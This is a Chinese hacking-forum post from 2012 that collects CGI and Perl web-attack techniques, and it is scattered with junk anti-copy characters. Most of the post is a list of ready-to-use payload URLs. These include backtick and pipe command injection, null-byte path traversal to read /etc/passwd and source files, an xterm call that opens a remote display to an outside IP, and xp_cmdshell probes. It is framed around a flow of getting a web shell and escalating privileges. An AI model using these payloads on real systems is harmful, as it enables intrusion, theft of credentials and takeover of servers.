找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2717|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  6 r. P1 ?/ V; y5 ~- ~
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
) v* m+ \4 i9 s! W/ m5 o感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  # x0 H6 I: N- ~7 \
注“    Y" Y, @& U5 D2 E) e6 D
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  0 X; a7 x% x: M0 }4 Z6 K) j
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
5 K+ s+ m' Y; s# l# {# D$ w
: J4 v. o7 V& T  l8 T0 rhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
* |; V8 O3 u* ?1 s# whttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  
4 o# n; `5 b+ Y  I  khttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  : z' ?, O' p& |+ u$ O
http://target.com/cgi-bin/home/news/sub.pl?`id`  ' ?8 Z/ Z/ e" D' u1 v! y
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  * c+ `8 K+ r0 ~# Z: K
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  ! q- s: m: S4 u

6 R2 z5 \% H& ~& [4 h8 N& Zhttp://target.com/test.pl;ls|  
% S- X! P% k% ghttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
7 B. x4 Y4 O- B# J; Bhttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
; }# s9 S/ L4 Q0 h) }: _. Zhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  ) J+ q+ e$ O, i( W5 H) J
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  2 ~: c. W. j. A+ j
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
& _) L" V% W% ^$ \" P) X7 z# d, \
3 d" J, c, x; ]' rhttp://target.com/test.pl?&........ /../../etc/passwd  
# E) V/ S  m: H  Q; f# y
( W5 m! p, w. Mhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
7 J6 W1 w* Y8 \# w$ [% F5 {http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  $ X% y! E) k* ~. q0 d* G% P. z
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  - `7 y' z& x0 j8 o! X
9 h! N  P) e( j& ]/ @/ l% A# |/ m  u
http://www.target.org/show.php?f ... /include/config.php 查看php代码  
$ P+ i) c6 K- V# n( X* H8 b1 Xhttp://www.target.org/show.php?f ... ng/admin/global.php  . b$ e) N: |( }( z9 _" q
9 F% ~7 y4 q9 k
emm和ps的一句话9 o& _1 v0 Q& Y. O

# k% G& D% C7 xhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  ) `  R; k1 }  e" N: I

# U% q9 k* d( z5 A>bbb%20|  
( V5 }) Y1 K- ?5 ]( k/ }- t3 G& M% Z( J
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
9 O. W1 r6 {3 u$ v) B! Y& a/ C, k$ S) B; h
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  
) P. K1 ^. N% r' g4 R, zhttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  ! }% f9 y; {' D6 h+ Z
. p' m% ~* P; `& ]
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
- k0 x, q3 O% u9 mhttp://target.com/index.html#cmd.exe  
4 [4 A+ z% i# v2 qhttp://target.com/index.html?dummyparam=xp_cmdshell  / M5 @3 A6 l" K3 u. ]5 w
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  
/ t5 B3 W+ G, _2 u, s, y0 C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表